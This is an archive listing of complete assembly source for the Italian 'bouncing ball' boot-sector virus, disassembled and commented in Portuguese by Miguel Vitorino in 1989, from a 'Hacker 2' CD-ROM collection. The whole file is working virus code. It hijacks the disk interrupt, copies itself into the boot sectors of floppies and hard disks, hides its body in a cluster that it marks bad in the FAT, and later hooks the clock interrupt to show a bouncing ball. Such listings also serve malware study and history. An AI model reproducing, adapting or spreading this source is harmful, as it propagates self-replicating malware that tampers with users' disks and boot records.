home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / italiano.asm < prev    next >
Assembly Source File  |  1995-01-03  |  13KB  |  457 lines

  1. ; **************************************************
  2. ; ***   VIRUS ITALIANO SALTITANTE - A LISTAGEM   ***
  3. ; *** Desassemblagem obtida por Miguel Vitorino  ***
  4. ; ***    Para : S P O O L E R - Junho de 1989    ***
  5. ; **************************************************
  6.  
  7. .RADIX 16
  8.  
  9. jmpf    macro    x
  10.     db    0eah
  11.     dd    x
  12. endm
  13.  
  14. Virus       SEGMENT
  15. assume    cs:virus;ds:virus
  16.  
  17. jmpf    MACRO    x
  18.     db    0eah
  19.     dd    x
  20. ENDM
  21.  
  22. org 0100h
  23.  
  24. begin:    jmp    short entry
  25.  
  26.         db    1eh-2 dup (?)        ; Informacao relativa a' disquete
  27.  
  28. entry:    xor    ax,ax
  29.         mov    ss,ax
  30.         mov    sp,7c00                 ; Colocar o Stack antes do inicio do
  31.         mov    ds,ax                ; virus 
  32.         mov    ax,ds:[0413]               ; Retirar 2 K como se nao existissem
  33.         sub    ax,2                ; para que o DOS nao la' chegue !
  34.         mov    ds:[0413],ax
  35.         mov    cl,06                   ; Converter o tamanho da RAM num 
  36.         shl    ax,cl                   ; numero de segmento que se situa nos
  37.         sub    ax,07c0                 ; 2 ultimos K
  38.         mov    es,ax                   ; De seguida passar este programa
  39.         mov    si,7c00                 ; para esse sitio de memoria
  40.         mov    di,si                   ; ( i.e. o programa transfere-se a si
  41.         mov    cx,0100                 ;  proprio )
  42.         repz    movsw    
  43.         mov    cs,ax                   ; Transferencia de controlo para ai!
  44.         push    cs                      ; Agora sim , ja' estamos nos tais 2K
  45.         pop    ds
  46.         call    reset                   ; fazer duas vezes um "reset" ao
  47. reset:    xor    ah,ah                   ; controlador de disco
  48.         int    13
  49.         and    byte ptr ds:drive,80
  50.         mov    bx,ds:sector        ; Sector onde esta' o resto do virus
  51.         push    cs
  52.         pop    ax
  53.         sub    ax,0020
  54.         mov    es,ax
  55.         call    ler_sector            ; Ler o resto do virus da drive
  56.         mov    bx,ds:sector
  57.         inc    bx
  58.         mov    ax,0ffc0            ; Carregar o sector de boot original
  59.         mov    es,ax
  60.         call    ler_sector
  61.         xor    ax,ax
  62.         mov    ds:estado,al
  63.         mov    ds,ax
  64.         mov    ax,ds:[004c]        ; "Confiscar" o interrupt 13
  65.         mov    bx,ds:[004e]        ; ( operacoes sobre disquetes/discos )
  66.         mov    word ptr ds:[004c],offset int_13
  67.         mov    ds:[004e],cs
  68.         push    cs
  69.         pop    ds
  70.         mov    word ptr ds:velho_13,ax    ; Guardar a velha rotina do int. 13
  71.         mov    word ptr ds:velho_13+2,bx
  72.         mov    dl,ds:drive
  73.           jmpf    0:7c00            ; Efectuar o arranque do sistema
  74.  
  75. Esc_Sector    proc    near
  76.         mov    ax,0301            ; Escrever um sector da drive 
  77.         jmp    short cs:transferir
  78. Esc_Sector    endp
  79.  
  80. Ler_Sector    proc  near
  81.             mov    ax,0201            ; Ler um sector da drive
  82. Ler_Sector    endp
  83.  
  84. Transferir  proc  near                ; Efectuar uma transferencia de dados
  85.           xchg    ax,bx                ; de ou para a drive
  86.         add    ax,ds:[7c1c]            ; Este procedimento tem como entrada
  87.         xor    dx,dx                ; o numero do sector pretendido ( BX )
  88.         div    ds:[7c18]               ; e de seguida sao feitas as contas 
  89.         inc    dl                ; para saber qual a pista e o lado 
  90.         mov    ch,dl                ; onde esse sector fica
  91.         xor    dx,dx
  92.         div    ds:[7c1a]
  93.         mov    cl,06
  94.         shl    ah,cl
  95.         or    ah,ch
  96.         mov    cx,ax
  97.         xchg    ch,cl
  98.         mov    dh,dl
  99.         mov    ax,bx                ; Depois de todas as contas feitas 
  100. transf:    mov    dl,ds:drive            ; pode-se chamar o interrupt 13H
  101.         mov    bx,8000            ; es:bx = end. de transferencia
  102.         int    13
  103.         jnb    trans_exit
  104.         pop    ax
  105. trans_exit:    ret    
  106. Transferir    endp
  107.  
  108. Int_13    proc    near                ; Rotina de atendimento ao int. 13H
  109.         push    ds                ; (operacoes sobre discos e disquetes)
  110.         push    es
  111.         push    ax
  112.         push    bx
  113.         push    cx
  114.         push    dx
  115.         push    cs
  116.         pop    ds
  117.         push    cs
  118.         pop    es
  119.         test    byte ptr ds:estado,1    ; Testar se se esta' a ver se o virus
  120.         jnz    call_BIOS            ; esta' no disco
  121.         cmp    ah,2
  122.         jnz    call_BIOS
  123.         cmp    ds:drive,dl            ; Ver se a ultima drive que foi 
  124.         mov    ds:drive,dl            ; mexida e' igual a' drive onde
  125.         jnz    outra_drv            ; se vai mexer
  126.         xor    ah,ah                ; Neste momento vai-se tirar a' sorte
  127.         int    1a                ; para ver se o virus fica activo 
  128.         test    dh,7f                ; Isto e' feito a partir da leitura
  129.         jnz    nao_desp            ; da hora e se for igual a um dado
  130.             test  dl,0f0            ; numero , o virus e' despoletado
  131.             jnz   nao_desp
  132.             push  dx                ; Instalar o movimento da bola
  133.             call  despoletar
  134.             pop   dx
  135. nao_desp:    mov   cx,dx
  136.             sub    dx,ds:semente
  137.         mov    ds:semente,cx
  138.         sub    dx,24
  139.         jb    call_BIOS
  140. outra_drv:    or    byte ptr ds:estado,1    ; Indicar que se esta' a testar a 
  141.         push    si                ; presenca ou nao do virus na drive
  142.         push    di
  143.         call    contaminar
  144.         pop    di
  145.         pop    si
  146.         and    byte ptr ds:estado,0fe    ; Indicar fim de teste de virus
  147. call_BIOS:    pop    dx
  148.         pop    cx
  149.         pop    bx
  150.         pop    ax
  151.         pop    es
  152.         pop    ds
  153. Velho_13    equ    $+1
  154.         jmpf    0:0
  155. Int_13    endp
  156.  
  157. Contaminar    proc    near
  158.         mov    ax,0201
  159.         mov    dh,0
  160.         mov    cx,1
  161.         call    transf
  162.         test    byte ptr ds:drive,80    ; Pediu-se um reset a' drive ?
  163.         jz    testar_drv            ; Sim , passar a' contaminacao directa
  164.         mov    si,81be
  165.         mov    cx,4
  166. proximo:    cmp    byte ptr [si+4],1
  167.         jz    ler_sect
  168.         cmp    byte ptr [si+4],4
  169.         jz    ler_sect
  170.         add    si,10
  171.         loop    proximo
  172.         ret
  173.  
  174. ler_sect:    mov    dx,[si]            ; Cabeca+drive
  175.         mov    cx,[si+2]            ; Pista+sector inicial
  176.         mov    ax,0201            ; Ler esse sector
  177.         call    transf
  178. testar_drv:    mov    si,8002            ; Comparar os 28 primeiros bytes para
  179.         mov    di,7c02            ; ver se o sector de boot e' o mesmo
  180.         mov    cx,1c                ; i.e. ver se a drive ja' foi virada !
  181.         repz    movsb
  182.         cmp    word ptr ds:[offset flag+0400],1357
  183.         jnz    esta_limpa
  184.         cmp    byte ptr ds:flag_2,0
  185.         jnb    tudo_bom
  186.         mov    ax,word ptr ds:[offset prim_dados+0400]
  187.         mov    ds:prim_dados,ax        ; Se chegar aqui entao a disquete ja'
  188.         mov    si,ds:[offset sector+0400] ; esta' contaminada !
  189.         jmp    infectar    
  190. tudo_bom:    ret
  191.  
  192. ; Neste momento descobriu-se uma disquete nao contaminada ! Vai-se agora 
  193. ; proceder a' respectiva contaminacao !
  194.  
  195. esta_limpa:    cmp    word ptr ds:[800bh],0200; Bytes por sector
  196.         jnz    tudo_bom
  197.         cmp    byte ptr ds:[800dh],2    ; Sectores por cluster
  198.         jb    tudo_bom
  199.         mov    cx,ds:[800e]        ; Sectores reservados
  200.         mov    al,byte ptr ds:[8010]    ; Numero de FAT's
  201.         cbw
  202.         mul    word ptr ds:[8016]    ; Numero de sectores de FAT
  203.         add    cx,ax
  204.         mov    ax,' '
  205.         mul    word ptr ds:[8011]    ; Numero de entradas na root
  206.         add    ax,01ff
  207.         mov    bx,0200
  208.         div    bx
  209.         add    cx,ax
  210.         mov    ds:prim_dados,cx
  211.         mov    ax,ds:[7c13]        ; Numero de sectores da drive
  212.         sub    ax,ds:prim_dados
  213.         mov    bl,byte ptr ds:[7c0dh]    ; Numero de sectores por cluster
  214.         xor    dx,dx
  215.         xor    bh,bh
  216.         div    bx
  217.         inc    ax
  218.         mov    di,ax
  219.         and    byte ptr ds:estado,0fbh    ; Se o numero de clusters dor superior
  220.         cmp    ax,0ff0            ; a 0FF0 entao cada entrada na FAT sao
  221.         jbe    sao_3                ; 4 nibbles senao sao 3
  222.         or    byte ptr ds:estado,4    ; 4 = disco duro ?
  223. sao_3:    mov    si,1                ; Escolher sector a infectar
  224.         mov    bx,ds:[7c0e]        ; Numero de sectores reservados
  225.         dec    bx
  226.         mov    ds:inf_sector,bx        ; Sector a infectar
  227.         mov    byte ptr ds:FAT_sector,0fe
  228.         jmp    short continua
  229.  
  230. Inf_Sector    dw    1    ; Sector a infectar
  231. Prim_Dados  dw    0c    ; Numero do primeiro sector de dados
  232. Estado    db    0    ; Estado actual do virus (instalado/nao instalado,etc)
  233. Drive        db    1    ; Drive onde se pediu uma accao
  234. Sector    dw    0ec    ; Sector auxiliar para procura do virus
  235. Flag_2    db    0    ; Estes proximos valores servem para ver se o virus
  236. Flag        dw    1357    ; ja' esta' ou nao presente numa drive , bastando
  237.         dw    0aa55 ; comparar se estes valores batem certos para o saber
  238.  
  239. continua:    inc    word ptr ds:inf_sector
  240.         mov    bx,ds:inf_sector
  241.         add    byte ptr ds:[FAT_sector],2
  242.         call    ler_sector
  243.         jmp    short    l7e4b
  244.  
  245. ; Este pequeno pedaco de programa o que faz e' percorrer a FAT que ja' esta' na
  246. ; memo'ria e procurar ai um cluster livre para colocar nesse sitio o resto do 
  247. ; virus
  248.  
  249. verificar:    mov    ax,3                ; Media descriptor + ff,ff
  250.         test    byte ptr ds:estado,4    ; disco duro ?
  251.         jz    l7e1d
  252.         inc    ax                ; Sim , FAT comeca 1 byte mais adiante
  253. l7e1d:    mul    si                ; Multiplicar pelo numero do cluster
  254.         shr    ax,1
  255.         sub    ah,ds:FAT_sector
  256.         mov    bx,ax
  257.         cmp    bx,01ff
  258.         jnb    continua
  259.         mov    dx,[bx+8000]        ; Ler a entrada na FAT
  260.         test    byte ptr ds:estado,4
  261.         jnz    l7e45
  262.         mov    cl,4
  263.         test    si,1
  264.         jz    l7e42
  265.         shr    dx,cl
  266. l7e42:    and    dh,0f
  267. l7e45:    test    dx,0ffff            ; Se a entrada na FAT for zero,entao
  268.         jz    l7e51                ; descobriu-se um cluster para por o
  269. l7e4b:    inc    si                ; virus , senao passa-se ao proximo
  270.         cmp    si,di                ; cluster ate' achar um bom
  271.         jbe    verificar
  272.         ret
  273.  
  274. ; Ja' foi descoberto qual o cluster a infectar ( registo BX ) , agora vai-se 
  275. ; proceder a' infeccao da disquete ou disco e tambem a' marcacao desse cluster
  276. ; como um "bad cluster" para o DOS nao aceder a ele
  277.  
  278. l7e51:    mov    dx,0fff7            ; Marcar um "bad cluster" (ff7)
  279.         test    byte ptr ds:estado,4    ; Ver qual o tamanho das ents. na FAT
  280.         jnz    l7e68                ; ( 3 ou 4 nibbles )
  281.         and    dh,0f
  282.         mov    cl,4
  283.         test    si,1
  284.         jz    l7e68
  285.         shl    dx,cl
  286. l7e68:    or    [bx+8000],dx
  287.         mov    bx,word ptr ds:inf_sector    ; Infectar sector !!!
  288.         call    esc_sector
  289.         mov    ax,si
  290.         sub    ax,2
  291.         mov    bl,ds:7c0dh            ; Numero de sectores por cluster
  292.         xor    bh,bh
  293.         mul    bx
  294.         add    ax,ds:prim_dados
  295.         mov    si,ax                ; SI = sector a infectar
  296.         mov    bx,0                ; Ler o sector de boot original
  297.         call    ler_sector
  298.         mov    bx,si
  299.         inc    bx
  300.         call    esc_sector            ; ... e guarda'-lo depois do virus
  301. infectar:    mov    bx,si
  302.         mov    word ptr ds:sector,si
  303.         push    cs
  304.         pop    ax
  305.         sub    ax,20                ; Escrever o resto do virus
  306.         mov    es,ax
  307.         call    esc_sector
  308.         push    cs
  309.         pop    ax
  310.         sub    ax,40
  311.         mov    es,ax
  312.         mov    bx,0                ; Escrever no sector de boot o virus
  313.         call    esc_sector
  314.         ret
  315. Contaminar    endp
  316.  
  317. Semente    dw    ?                ; Esta word serve para fins de 
  318.                             ; temporizacao da bola a saltar
  319. FAT_sector    db    0                ; Diz qual e' o numero do sector que
  320.                             ; se esta' a percorrer quando se 
  321.                             ; vasculha a FAT
  322.  
  323. Despoletar    proc    near                ; Comecar a mostrar a bola no ecran
  324.           test  byte ptr ds:estado,2    ; Virus ja' esta' activo ?
  325.             jnz   desp_exit            ; Sim ,sair
  326.             or    byte ptr ds:estado,2    ; Nao , marcar activacao
  327.         mov    ax,0
  328.         mov    ds,ax
  329.         mov    ax,ds:20            ; Posicionar interrupt 8 (relogio)
  330.         mov    bx,ds:22
  331.         mov    word ptr ds:20,offset int_8
  332.         mov    ds:22,cs
  333.         push    cs
  334.         pop    ds                ; E guardar a rotina anterior
  335.         mov    word ptr ds:velho_8+8,ax
  336.         mov    word ptr ds:velho_8+2,bx
  337. desp_exit:    ret
  338. Despoletar    endp
  339.  
  340. Int_8        proc    near                ; Rotina de atendimento ao interrupt
  341.           push    ds                ; provocado pelo relogio 18.2 vezes
  342.         push    ax                ; por segundo . Neste procedimento
  343.         push    bx                ; e' que se faz o movimento da bola
  344.         push    cx                ; pelo ecran
  345.         push    dx
  346.         push    cs
  347.         pop    ds
  348.         mov    ah,0f                ; Ver qual o tipo de modo de video
  349.         int    10
  350.         mov    bl,al
  351.         cmp    bx,ds:modo_pag        ; Comparar modo e pagina de video com 
  352.         jz    ler_cur            ; os anteriores 
  353.         mov    ds:modo_pag,bx        ; Quando aqui chega mudou-se o modo
  354.         dec    ah                ; de video
  355.         mov    ds:colunas,ah        ; Guardar o numero de colunas
  356.         mov    ah,1
  357.         cmp    bl,7                ; Comparar modo com 7 (80x25 Mono)
  358.         jnz    e_CGA
  359.         dec    ah
  360. e_CGA:    cmp    bl,4                ; Ve se e' modo grafico 
  361.         jnb    e_grafico
  362.         dec    ah
  363. e_grafico:    mov    ds:muda_attr,ah
  364.         mov    word ptr ds:coordenadas,0101
  365.         mov    word ptr ds:direccao,0101
  366.         mov    ah,3                ; Ler a posicao do cursor
  367.         int    10
  368.         push    dx                ; ... e guarda-la
  369.         mov    dx,ds:coordenadas
  370.         jmp    short    limites
  371.  
  372. ler_cur:    mov    ah,3                ; Ler a posicao do cursor ...
  373.         int    10
  374.         push    dx                ; ... e guarda-la
  375.         mov    ah,2                ; Posicionar o cursor no sitio da bola
  376.         mov    dx,ds:coordenadas 
  377.         int    10
  378.         mov    ax,ds:carat_attr
  379.         cmp    byte ptr ds:muda_attr,1
  380.         jnz    mudar_atr
  381.         mov    ax,8307            ; Atributos e carater 7
  382. mudar_atr:    mov    bl,ah                ; Carregar carater 7 (bola) 
  383.         mov    cx,1
  384.         mov    ah,9                ; Escrever a bola no ecran
  385.         int    10
  386. limites:    mov    cx,ds:direccao        ; Agora vai-se ver se a bola esta' no
  387.         cmp    dh,0                ; ecran . Linha = 0 ?
  388.         jnz    linha_1
  389.         xor    ch,0ff            ; Mudar direccao
  390.         inc    ch
  391. linha_1:    cmp    dh,18                ; Linha = 24 ?
  392.         jnz    coluna_1
  393.         xor    ch,0ff            ; Mudar direccao
  394.         inc    ch
  395. coluna_1:    cmp    dl,0                ; Coluna = 0 ?
  396.         jnz    coluna_2
  397.         xor    cl,0ff            ; Mudar direccao
  398.         inc    cl
  399. coluna_2:    cmp    dl,ds:colunas        ; Colunas = numero de colunas ?
  400.         jnz    esta_fixe
  401.         xor    cl,0ff            ; Mudar direccao
  402.         inc    cl
  403. esta_fixe:    cmp    cx,ds:direccao        ; Mesma direccao ?
  404.         jnz    act_bola
  405.         mov    ax,ds:carat_attr
  406.         and    al,7
  407.         cmp    al,3
  408.         jnz    nao_e
  409.         xor    ch,0ff
  410.         inc    ch
  411. nao_e:    cmp    al,5
  412.         jnz    act_bola
  413.         xor    cl,0ff
  414.         inc    cl
  415. act_bola:    add    dl,cl                ; Actualizar as coordenadas da bola
  416.         add    dh,ch
  417.         mov    ds:direccao,cx
  418.         mov    ds:coordenadas,dx
  419.         mov    ah,2
  420.         int    10
  421.         mov    ah,8                ; Ler carater para onde vai a bola
  422.         int    10
  423.         mov    ds:carat_attr,ax
  424.         mov    bl,ah
  425.         cmp    byte ptr ds:muda_attr,1
  426.         jnz    nao_muda
  427.         mov    bl,83                ; Novo atributo
  428. nao_muda:    mov    cx,1
  429.         mov    ax,0907            ; Escrever a bola no ecran
  430.         int    10
  431.         pop    dx
  432.         mov    ah,2                ; Recolocar o cursor no posicao onde
  433.         int    10                ; estava antes de escrever a bola
  434.         pop    dx
  435.         pop    cx
  436.         pop    bx
  437.         pop    ax
  438.         pop    ds
  439. velho_8    equ    $+1
  440.         jmpf    0:0
  441. Int_8        endp
  442.  
  443. Carat_attr    dw    ?    ; 7fcd
  444. Coordenadas    dw    0101  ; 7fcf
  445. Direccao    dw    0101  ; 7fd1
  446. Muda_attr    db    1    ; 7fd3
  447. Modo_pag    dw    ?    ; 7fd4
  448. Colunas    db    ?    ; 7fd6
  449.  
  450. ; Os bytes que se seguem destinam-se a reservar espaco para o stack
  451.  
  452. Virus        ENDS
  453.  
  454. END        begin
  455. 
  456. Downloaded From P-80 International Information Systems 304-744-2253
  457.